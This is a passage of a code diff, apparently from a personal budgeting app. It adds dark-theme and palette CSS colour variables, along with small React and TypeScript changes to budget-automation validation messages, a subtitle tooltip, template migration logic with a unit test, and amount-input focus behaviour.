--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(100, 100, 100, 0.15);
|
||||
--color-buttonBareBackgroundActive: rgba(100, 100, 100, 0.25);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green150);
|
||||
--color-noticeBackgroundLight: var(--palette-green100);
|
||||
--color-noticeBackgroundDark: var(--palette-green500);
|
||||
--color-noticeText: var(--palette-green700);
|
||||
--color-noticeTextLight: var(--palette-green500);
|
||||
--color-noticeTextDark: var(--palette-green900);
|
||||
--color-noticeTextMenu: var(--palette-green200);
|
||||
--color-noticeBorder: var(--palette-green500);
|
||||
--color-warningBackground: var(--palette-orange200);
|
||||
--color-warningText: var(--palette-orange700);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange900);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red100);
|
||||
--color-errorText: var(--palette-red500);
|
||||
--color-errorTextDark: var(--palette-red700);
|
||||
--color-errorTextDarker: var(--palette-red900);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple100);
|
||||
--color-upcomingText: var(--palette-purple700);
|
||||
--color-upcomingBorder: var(--palette-purple500);
|
||||
|
||||
--color-formLabelText: var(--palette-blue600);
|
||||
--color-formLabelBackground: var(--palette-blue200);
|
||||
--color-formInputBackground: var(--palette-navy50);
|
||||
--color-formInputBackgroundSelected: var(--palette-white);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple500);
|
||||
--color-formInputBorder: var(--palette-navy150);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-navy50);
|
||||
--color-formInputBorderSelected: var(--palette-purple500);
|
||||
--color-formInputText: var(--palette-navy900);
|
||||
--color-formInputTextSelected: var(--palette-navy50);
|
||||
--color-formInputTextPlaceholder: var(--palette-navy300);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-navy200);
|
||||
--color-formInputTextSelection: var(--palette-navy100);
|
||||
--color-formInputShadowSelected: var(--palette-purple300);
|
||||
--color-formInputTextHighlight: var(--palette-purple200);
|
||||
--color-checkboxText: var(--color-tableBackground);
|
||||
--color-checkboxBackgroundSelected: var(--palette-blue500);
|
||||
--color-checkboxBorderSelected: var(--palette-blue500);
|
||||
--color-checkboxShadowSelected: var(--palette-blue300);
|
||||
--color-checkboxToggleBackground: var(--palette-gray400);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple600);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray200);
|
||||
|
||||
--color-pillBackground: var(--palette-navy150);
|
||||
--color-pillBackgroundLight: var(--palette-navy50);
|
||||
--color-pillText: var(--palette-navy800);
|
||||
--color-pillTextHighlighted: var(--palette-purple600);
|
||||
--color-pillBorder: var(--palette-navy150);
|
||||
--color-pillBorderDark: var(--palette-navy300);
|
||||
--color-pillBackgroundSelected: var(--palette-blue150);
|
||||
--color-pillTextSelected: var(--palette-blue900);
|
||||
--color-pillBorderSelected: var(--palette-purple500);
|
||||
--color-pillTextSubdued: var(--palette-navy200);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--palette-navy900);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple125);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple150);
|
||||
--color-noteTagDefault: var(--palette-purple125);
|
||||
--color-noteTagText: var(--palette-black);
|
||||
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetOtherMonth: var(--palette-gray50);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-budgetOtherMonth);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-gray80);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-purple400);
|
||||
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
|
||||
--color-floatingActionBarText: var(--palette-navy50);
|
||||
|
||||
--color-tooltipText: var(--palette-navy900);
|
||||
--color-tooltipBackground: var(--palette-white);
|
||||
--color-tooltipBorder: var(--palette-navy150);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy100);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
252
packages/component-library/src/themes/midnight.css
Normal file
252
packages/component-library/src/themes/midnight.css
Normal file
@@ -0,0 +1,252 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-gray600);
|
||||
--color-pageBackgroundModalActive: var(--palette-gray700);
|
||||
--color-pageBackgroundTopLeft: var(--palette-gray800);
|
||||
--color-pageBackgroundBottomRight: var(--palette-gray700);
|
||||
--color-pageBackgroundLineTop: var(--palette-purple300);
|
||||
--color-pageBackgroundLineMid: var(--palette-gray900);
|
||||
--color-pageBackgroundLineBottom: var(--palette-gray150);
|
||||
--color-pageText: var(--palette-gray100);
|
||||
--color-pageTextLight: var(--palette-gray200);
|
||||
--color-pageTextSubdued: var(--palette-gray400);
|
||||
--color-pageTextDark: var(--palette-gray100);
|
||||
--color-pageTextPositive: var(--palette-purple200);
|
||||
--color-pageTextLink: var(--palette-purple300);
|
||||
--color-pageTextLinkLight: var(--palette-purple300);
|
||||
|
||||
--color-cardBackground: var(--palette-gray800);
|
||||
--color-cardBorder: var(--palette-purple300);
|
||||
--color-cardShadow: var(--palette-gray900);
|
||||
|
||||
--color-tableBackground: var(--palette-gray800);
|
||||
--color-tableRowBackgroundHover: var(--palette-gray500);
|
||||
--color-tableText: var(--palette-gray150);
|
||||
--color-tableTextLight: var(--color-tableText);
|
||||
--color-tableTextSubdued: var(--palette-gray500);
|
||||
--color-tableTextSelected: var(--palette-gray800);
|
||||
--color-tableTextHover: var(--palette-gray400);
|
||||
--color-tableTextInactive: var(--palette-gray400);
|
||||
--color-tableHeaderText: var(--palette-gray200);
|
||||
--color-tableHeaderBackground: var(--palette-gray900);
|
||||
--color-tableBorder: var(--palette-gray600);
|
||||
--color-tableBorderSelected: var(--palette-purple400);
|
||||
--color-tableBorderHover: var(--palette-purple300);
|
||||
--color-tableBorderSeparator: var(--palette-gray400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-purple150);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-gray800);
|
||||
--color-tableRowHeaderBackground: var(--palette-gray700);
|
||||
--color-tableRowHeaderText: var(--palette-gray150);
|
||||
|
||||
--color-numberPositive: var(--palette-green300);
|
||||
--color-numberNegative: var(--palette-red200);
|
||||
--color-numberNeutral: var(--palette-gray500);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange200);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-gray900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green400);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-gray700);
|
||||
--color-sidebarItemText: var(--palette-gray100);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-gray300);
|
||||
|
||||
--color-menuBackground: var(--palette-gray700);
|
||||
--color-menuItemBackground: var(--palette-gray200);
|
||||
--color-menuItemBackgroundHover: var(--palette-gray500);
|
||||
--color-menuItemText: var(--palette-gray100);
|
||||
--color-menuItemTextHover: var(--palette-gray50);
|
||||
--color-menuItemTextSelected: var(--palette-purple400);
|
||||
--color-menuItemTextHeader: var(--palette-purple200);
|
||||
--color-menuBorder: var(--palette-gray800);
|
||||
--color-menuBorderHover: var(--palette-purple300);
|
||||
--color-menuKeybindingText: var(--palette-purple200);
|
||||
--color-menuAutoCompleteBackground: var(--palette-gray600);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-gray500);
|
||||
--color-menuAutoCompleteText: var(--palette-gray100);
|
||||
--color-menuAutoCompleteTextHover: var(--palette-green400);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
|
||||
--color-menuAutoCompleteItemTextHover: var(--palette-gray50);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuItemText);
|
||||
--color-modalBackground: var(--palette-gray700);
|
||||
--color-modalBorder: var(--palette-gray200);
|
||||
--color-mobileHeaderBackground: var(--palette-gray900);
|
||||
--color-mobileHeaderText: var(--palette-purple200);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-gray900);
|
||||
--color-mobileNavBackground: var(--palette-gray600);
|
||||
--color-mobileNavItem: var(--palette-gray150);
|
||||
--color-mobileNavItemSelected: var(--palette-purple200);
|
||||
--color-mobileAccountShadow: var(--color-cardShadow);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple300);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple700);
|
||||
--color-markdownDark: var(--palette-purple500);
|
||||
--color-markdownLight: var(--palette-purple800);
|
||||
|
||||
--color-buttonMenuText: var(--palette-gray200);
|
||||
--color-buttonMenuTextHover: var(--color-buttonMenuText);
|
||||
--color-buttonMenuBackground: var(--palette-gray700);
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-gray500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-gray300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple300);
|
||||
--color-buttonPrimaryBackgroundHover: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-gray400);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-gray700);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-gray150);
|
||||
--color-buttonNormalTextHover: var(--palette-gray150);
|
||||
--color-buttonNormalBackground: var(--palette-gray600);
|
||||
--color-buttonNormalBackgroundHover: var(--palette-gray400);
|
||||
--color-buttonNormalBorder: var(--palette-gray300);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-purple500);
|
||||
--color-buttonNormalDisabledText: var(--palette-gray400);
|
||||
--color-buttonNormalDisabledBackground: var(--palette-gray700);
|
||||
--color-buttonNormalDisabledBorder: var(--palette-gray500);
|
||||
|
||||
--color-calendarText: var(--palette-gray50);
|
||||
--color-calendarBackground: var(--palette-gray700);
|
||||
--color-calendarItemText: var(--palette-gray150);
|
||||
--color-calendarItemBackground: var(--palette-gray500);
|
||||
--color-calendarSelectedBackground: var(
|
||||
--color-buttonNormalSelectedBackground
|
||||
);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
|
||||
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green600);
|
||||
--color-noticeBackgroundLight: var(--palette-green900);
|
||||
--color-noticeBackgroundDark: var(--palette-green400);
|
||||
--color-noticeText: var(--palette-green300);
|
||||
--color-noticeTextLight: var(--palette-green400);
|
||||
--color-noticeTextDark: var(--palette-green150);
|
||||
--color-noticeTextMenu: var(--palette-green400);
|
||||
--color-noticeTextMenuHover: var(--palette-green700);
|
||||
--color-noticeBorder: var(--palette-green800);
|
||||
--color-warningBackground: var(--palette-orange800);
|
||||
--color-warningText: var(--palette-orange200);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange100);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red800);
|
||||
--color-errorText: var(--palette-red200);
|
||||
--color-errorTextDark: var(--palette-red150);
|
||||
--color-errorTextDarker: var(--color-errorTextDark);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple800);
|
||||
--color-upcomingText: var(--palette-purple200);
|
||||
--color-upcomingBorder: var(--color-tableBorder);
|
||||
|
||||
--color-formLabelText: var(--palette-purple150);
|
||||
--color-formLabelBackground: var(--palette-blue900);
|
||||
--color-formInputBackground: var(--palette-gray800);
|
||||
--color-formInputBackgroundSelected: var(--palette-gray700);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple400);
|
||||
--color-formInputBorder: var(--palette-gray600);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-gray800);
|
||||
--color-formInputBorderSelected: var(--palette-purple300);
|
||||
--color-formInputText: var(--palette-gray150);
|
||||
--color-formInputTextSelected: var(--palette-black);
|
||||
--color-formInputTextPlaceholder: var(--palette-gray150);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-gray100);
|
||||
--color-formInputTextSelection: var(--palette-gray800);
|
||||
--color-formInputShadowSelected: var(--palette-purple400);
|
||||
--color-formInputTextHighlight: var(--palette-purple200);
|
||||
--color-checkboxText: var(--color-tableText);
|
||||
--color-checkboxBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxBorderSelected: var(--palette-purple300);
|
||||
--color-checkboxShadowSelected: var(--palette-purple500);
|
||||
--color-checkboxToggleBackground: var(--palette-gray400);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray700);
|
||||
|
||||
--color-pillBackground: var(--palette-gray500);
|
||||
--color-pillBackgroundLight: var(--palette-gray900);
|
||||
--color-pillText: var(--palette-gray200);
|
||||
--color-pillTextHighlighted: var(--palette-purple200);
|
||||
--color-pillBorder: var(--palette-gray500);
|
||||
--color-pillBorderDark: var(--color-pillBorder);
|
||||
--color-pillBackgroundSelected: var(--palette-purple600);
|
||||
--color-pillTextSelected: var(--palette-gray150);
|
||||
--color-pillBorderSelected: var(--palette-purple300);
|
||||
--color-pillTextSubdued: var(--palette-gray500);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--color-pageText);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple800);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple600);
|
||||
--color-noteTagDefault: var(--palette-purple700);
|
||||
--color-noteTagText: var(--palette-purple100);
|
||||
|
||||
--color-budgetOtherMonth: var(--palette-gray700);
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-gray800);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-gray900);
|
||||
--color-floatingActionBarBorder: var(--palette-purple300);
|
||||
--color-floatingActionBarText: var(--palette-purple200);
|
||||
|
||||
--color-tooltipText: var(--palette-gray100);
|
||||
--color-tooltipBackground: var(--palette-gray800);
|
||||
--color-tooltipBorder: var(--palette-gray600);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy900);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
103
packages/component-library/src/themes/palette.css
Normal file
103
packages/component-library/src/themes/palette.css
Normal file
@@ -0,0 +1,103 @@
|
||||
:root {
|
||||
--palette-gray50: #f6f8fa;
|
||||
--palette-gray80: #f0f4f6;
|
||||
--palette-gray100: #e8ecf0;
|
||||
--palette-gray150: #d4dae0;
|
||||
--palette-gray200: #bdc5cf;
|
||||
--palette-gray300: #98a1ae;
|
||||
--palette-gray400: #747c8b;
|
||||
--palette-gray500: #4d5768;
|
||||
--palette-gray600: #373b4a;
|
||||
--palette-gray700: #242733;
|
||||
--palette-gray800: #141520;
|
||||
--palette-gray900: #080811;
|
||||
|
||||
--palette-navy50: #f7fafc;
|
||||
--palette-navy100: #e8ecf0;
|
||||
--palette-navy150: #d9e2ec;
|
||||
--palette-navy200: #bcccdc;
|
||||
--palette-navy300: #9fb3c8;
|
||||
--palette-navy400: #829ab1;
|
||||
--palette-navy500: #627d98;
|
||||
--palette-navy600: #486581;
|
||||
--palette-navy700: #334e68;
|
||||
--palette-navy800: #243b53;
|
||||
--palette-navy900: #102a43;
|
||||
|
||||
--palette-blue50: #f5fcff;
|
||||
--palette-blue100: #e3f0ff;
|
||||
--palette-blue150: #b3d9ff;
|
||||
--palette-blue200: #8bcafd;
|
||||
--palette-blue300: #66b5fa;
|
||||
--palette-blue400: #40a5f7;
|
||||
--palette-blue500: #2b8fed;
|
||||
--palette-blue600: #1980d4;
|
||||
--palette-blue700: #1271bf;
|
||||
--palette-blue800: #0b5fa3;
|
||||
--palette-blue900: #034388;
|
||||
|
||||
--palette-green50: #fafffd;
|
||||
--palette-green100: #effcf6;
|
||||
--palette-green150: #c6f7e2;
|
||||
--palette-green200: #8eedc7;
|
||||
--palette-green300: #65d6ad;
|
||||
--palette-green400: #3ebd93;
|
||||
--palette-green500: #27ab83;
|
||||
--palette-green600: #199473;
|
||||
--palette-green700: #147d64;
|
||||
--palette-green800: #0c6b58;
|
||||
--palette-green900: #014d40;
|
||||
|
||||
--palette-orange50: #fffefa;
|
||||
--palette-orange100: #fffbea;
|
||||
--palette-orange150: #fff7c4;
|
||||
--palette-orange200: #fcf088;
|
||||
--palette-orange300: #f5e35d;
|
||||
--palette-orange400: #f2d047;
|
||||
--palette-orange500: #e6bb20;
|
||||
--palette-orange600: #d4a31c;
|
||||
--palette-orange700: #b88115;
|
||||
--palette-orange800: #87540d;
|
||||
--palette-orange900: #733309;
|
||||
|
||||
--palette-red50: #fff1f1;
|
||||
--palette-red100: #ffe3e3;
|
||||
--palette-red150: #ffbdbd;
|
||||
--palette-red200: #ff9b9b;
|
||||
--palette-red300: #f86a6a;
|
||||
--palette-red400: #ef4e4e;
|
||||
--palette-red500: #e12d39;
|
||||
--palette-red600: #cf1124;
|
||||
--palette-red700: #ab091e;
|
||||
--palette-red800: #8a041a;
|
||||
--palette-red900: #610316;
|
||||
|
||||
--palette-purple50: #f9f6fe;
|
||||
--palette-purple100: #f2ebfe;
|
||||
--palette-purple125: #e4d4ff;
|
||||
--palette-purple150: #dac4ff;
|
||||
--palette-purple200: #b990ff;
|
||||
--palette-purple300: #a368fc;
|
||||
--palette-purple400: #9446ed;
|
||||
--palette-purple500: #8719e0;
|
||||
--palette-purple600: #7a0ecc;
|
||||
--palette-purple700: #690cb0;
|
||||
--palette-purple800: #580a94;
|
||||
--palette-purple900: #44056e;
|
||||
|
||||
--palette-white: #ffffff;
|
||||
--palette-black: #000000;
|
||||
--palette-hover: #fafafa;
|
||||
--palette-border: #e8ecf0;
|
||||
--palette-selected: #b3d9ff;
|
||||
|
||||
--palette-chartQual1: #45b29d;
|
||||
--palette-chartQual2: #efc94c;
|
||||
--palette-chartQual3: #e27a3f;
|
||||
--palette-chartQual4: #df5a49;
|
||||
--palette-chartQual5: #5f91b8;
|
||||
--palette-chartQual6: #e2a37f;
|
||||
--palette-chartQual7: #55dbc1;
|
||||
--palette-chartQual8: #efda97;
|
||||
--palette-chartQual9: #df948a;
|
||||
}
|
||||
@@ -193,7 +193,7 @@ export function BalanceWithCarryover({
|
||||
<div>
|
||||
{
|
||||
{
|
||||
type: longGoalValue === 1 ? t('Long') : t('Template'),
|
||||
type: longGoalValue === 1 ? t('Goal') : t('Automation'),
|
||||
} as TransObjectLiteral
|
||||
}
|
||||
</div>
|
||||
|
||||
@@ -19,6 +19,8 @@ export function AutomationErrorTitle({
|
||||
return <Trans>Schedule not found</Trans>;
|
||||
case 'refill-no-cap':
|
||||
return <Trans>Refill needs a balance cap</Trans>;
|
||||
case 'limit-no-contributor':
|
||||
return <Trans>Balance cap needs a contributing automation</Trans>;
|
||||
case 'percentage-out-of-range':
|
||||
return <Trans>Percentage out of range</Trans>;
|
||||
case 'percentage-no-source':
|
||||
@@ -53,7 +55,9 @@ export function AutomationErrorShort({
|
||||
<Trans>Pick a schedule</Trans>
|
||||
);
|
||||
case 'refill-no-cap':
|
||||
return <Trans>Add a balance cap above</Trans>;
|
||||
return <Trans>Add a balance cap</Trans>;
|
||||
case 'limit-no-contributor':
|
||||
return <Trans>Add an automation that contributes funds</Trans>;
|
||||
case 'percentage-out-of-range':
|
||||
return (
|
||||
<Trans>{{ percent: error.percent }}% must be between 0 and 100</Trans>
|
||||
@@ -100,6 +104,14 @@ export function AutomationErrorDetail({
|
||||
added to use as the target.
|
||||
</Trans>
|
||||
);
|
||||
case 'limit-no-contributor':
|
||||
return (
|
||||
<Trans>
|
||||
A balance cap on its own does nothing. Add a contributing automation
|
||||
(such as a fixed amount, save by date, or whatever is left) so the cap
|
||||
has something to clamp.
|
||||
</Trans>
|
||||
);
|
||||
case 'percentage-out-of-range':
|
||||
return <Trans>Set a value greater than 0% and at most 100%.</Trans>;
|
||||
case 'percentage-no-source':
|
||||
|
||||
@@ -38,7 +38,7 @@ export function getDisplayTemplateMeta(
|
||||
case 'schedule':
|
||||
return {
|
||||
label: t('Cover schedule'),
|
||||
description: t('Save up for a recurring scheduled transaction.'),
|
||||
description: t('Save up for a scheduled transaction.'),
|
||||
icon: SvgCalendar3,
|
||||
};
|
||||
case 'by':
|
||||
|
||||
@@ -7,6 +7,7 @@ import type { DisplayTemplateType } from './constants';
|
||||
export type AutomationErrorKind =
|
||||
| { kind: 'schedule-not-found'; name: string }
|
||||
| { kind: 'refill-no-cap' }
|
||||
| { kind: 'limit-no-contributor' }
|
||||
| { kind: 'percentage-out-of-range'; percent: number }
|
||||
| { kind: 'percentage-no-source' }
|
||||
| { kind: 'percentage-source-not-found'; source: string }
|
||||
@@ -48,6 +49,15 @@ export function validateAutomation(
|
||||
return { kind: 'refill-no-cap' };
|
||||
}
|
||||
return null;
|
||||
case 'limit':
|
||||
if (
|
||||
!allTemplates.some(
|
||||
t => t.type !== 'limit' && t.type !== 'goal' && t.type !== 'error',
|
||||
)
|
||||
) {
|
||||
return { kind: 'limit-no-contributor' };
|
||||
}
|
||||
return null;
|
||||
case 'percentage':
|
||||
if (template.type !== 'percentage') return null;
|
||||
if (!template.category) return { kind: 'percentage-no-source' };
|
||||
|
||||
@@ -3,6 +3,7 @@ import { useTranslation } from 'react-i18next';
|
||||
import { SvgAlertTriangle } from '@actual-app/components/icons/v2';
|
||||
import { Text } from '@actual-app/components/text';
|
||||
import { theme } from '@actual-app/components/theme';
|
||||
import { Tooltip } from '@actual-app/components/tooltip';
|
||||
import { View } from '@actual-app/components/view';
|
||||
|
||||
import type { AutomationEntry } from '#components/budget/goals/automationExamples';
|
||||
@@ -126,18 +127,24 @@ export function AutomationListRow({
|
||||
/>
|
||||
)}
|
||||
</View>
|
||||
<Text
|
||||
style={{
|
||||
fontSize: 11,
|
||||
color: subtitleColor,
|
||||
overflow: 'hidden',
|
||||
textOverflow: 'ellipsis',
|
||||
whiteSpace: 'nowrap',
|
||||
display: 'block',
|
||||
}}
|
||||
<Tooltip
|
||||
content={
|
||||
<Text style={{ display: 'block', maxWidth: 320 }}>{subtitle}</Text>
|
||||
}
|
||||
>
|
||||
{subtitle}
|
||||
</Text>
|
||||
<Text
|
||||
style={{
|
||||
fontSize: 11,
|
||||
color: subtitleColor,
|
||||
overflow: 'hidden',
|
||||
textOverflow: 'ellipsis',
|
||||
whiteSpace: 'nowrap',
|
||||
display: 'block',
|
||||
}}
|
||||
>
|
||||
{subtitle}
|
||||
</Text>
|
||||
</Tooltip>
|
||||
</View>
|
||||
{!NON_CONTRIBUTION_TYPES.has(entry.displayType) && (
|
||||
<View
|
||||
|
||||
@@ -100,6 +100,31 @@ describe('migrateTemplatesToAutomations', () => {
|
||||
});
|
||||
});
|
||||
|
||||
it('expands `#template 0 up to N` into limit + fixed-zero (not refill)', () => {
|
||||
const simpleTemplate = {
|
||||
type: 'simple',
|
||||
directive: 'template',
|
||||
priority: 4,
|
||||
monthly: 0,
|
||||
limit: {
|
||||
amount: 1000,
|
||||
hold: false,
|
||||
period: 'monthly',
|
||||
},
|
||||
} satisfies Template;
|
||||
|
||||
const result = migrateTemplatesToAutomations([simpleTemplate]);
|
||||
|
||||
expect(result).toHaveLength(2);
|
||||
expect(result.map(entry => entry.displayType)).toEqual(['limit', 'fixed']);
|
||||
expect(result[1].template).toMatchObject({
|
||||
type: 'periodic',
|
||||
amount: 0,
|
||||
directive: 'template',
|
||||
priority: 4,
|
||||
});
|
||||
});
|
||||
|
||||
it('expands a simple template with both limit and monthly into limit + periodic (no implicit refill)', () => {
|
||||
// `#template 20 up to 200 per week` budgets 20/month and caps at the
|
||||
// limit — the engine's runSimple returns just the monthly value, so
|
||||
|
||||
@@ -47,7 +47,8 @@ export function migrateTemplatesToAutomations(
|
||||
templates.forEach(template => {
|
||||
if (template.type === 'simple') {
|
||||
const monthly = template.monthly;
|
||||
const hasMonthly = monthly != null && monthly !== 0;
|
||||
const hasMonthly =
|
||||
monthly != null && (monthly !== 0 || template.limit != null);
|
||||
|
||||
if (template.limit) {
|
||||
entries.push(
|
||||
@@ -64,10 +65,7 @@ export function migrateTemplatesToAutomations(
|
||||
'limit',
|
||||
),
|
||||
);
|
||||
// The implicit refill only applies to a limit-only simple template
|
||||
// (e.g. `#template up to 200`). When a monthly amount is also set
|
||||
// (`#template 50 up to 200`), the engine just budgets the monthly
|
||||
// amount and clamps to the cap — no top-up to the limit.
|
||||
|
||||
if (!hasMonthly) {
|
||||
entries.push(
|
||||
createAutomationEntry(
|
||||
@@ -81,6 +79,7 @@ export function migrateTemplatesToAutomations(
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if (hasMonthly) {
|
||||
entries.push(
|
||||
createAutomationEntry(
|
||||
|
||||
@@ -220,6 +220,7 @@ export function AmountInput({
|
||||
onFocus={e => {
|
||||
setIsFocused(true);
|
||||
setValue(format.forEdit(Math.abs(initialValue ?? 0)));
|
||||
setTimeout(() => innerRef.current?.select(), 0);
|
||||
onFocus?.(e);
|
||||
}}
|
||||
onBlur={e => {
|
||||
|
||||
@@ -1,96 +0,0 @@
|
